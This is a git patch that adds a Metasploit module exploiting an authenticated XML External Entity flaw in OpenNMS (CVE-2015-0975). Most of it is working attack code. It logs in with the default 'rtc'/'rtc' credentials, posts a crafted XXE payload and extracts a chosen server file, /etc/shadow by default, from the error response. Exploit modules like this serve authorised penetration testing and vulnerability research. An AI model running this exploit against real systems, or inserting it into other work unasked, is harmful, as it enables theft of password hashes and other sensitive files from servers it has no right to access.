From e0a7f531cc3e9beff767907cd37535e5c136aa1f Mon Sep 17 00:00:00 2001 From: jstnkndy Date: Tue, 17 Mar 2015 10:10:51 -0400 Subject: [PATCH] Added error checking, randomness, uuid delimiters --- modules/exploits/linux/http/opennms_xxs.rb | 107 +++++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 modules/exploits/linux/http/opennms_xxs.rb diff --git a/modules/exploits/linux/http/opennms_xxs.rb b/modules/exploits/linux/http/opennms_xxs.rb new file mode 100644 index 0000000000..d2cbda62b2 --- /dev/null +++ b/modules/exploits/linux/http/opennms_xxs.rb @@ -0,0 +1,107 @@ +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Authenticated XXE', + 'Description' => %q{ + OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. + Although this attack requires authentication, there are several factors that increase the + severity of this vulnerability. + + 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the + core of OpenNMS is that these components need to run as root to be able to bind to low-numbered + ports or generate network traffic that requires root" + + 2. The user that you must authenticate as is the "rtc" user which has the default password of + "rtc". There is no mention of this user in the installation guides found here: + http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default + admin password of "admin" for security purposes. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephen Breen ', # discovery + 'Justin Kennedy ', # metasploit module + ], + 'References' => + [ + ['CVE', '2015-0975'] + ], + 'DisclosureDate' => 'Jan 08 2015' + )) + + register_options( + [ + Opt::RPORT(8980), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), + OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) + ], self.class) + + end + + def run + + print_status("Logging in to grab a valid session cookie") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Login'=> 'Login' + }, + }) + + if res.nil? + fail_with("No response from POST request") + elsif res.code != 302 + fail_with("Non-302 response from POST request") + end + + unless res.headers["Location"].include? "index.jsp" + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + print_status("Got cookie, going for the goods") + + rand_doctype= Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) + delimiter = SecureRandom.uuid + + xxe = %Q^ + + + ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}^ + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, + 'cookie' => cookie + }) + + # extract filepath data from response + + if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/ + result = $1 + print_good("#{result}") + else + fail_with(Failure::Unknown, 'Error fetching file, try another') + end + + end +end +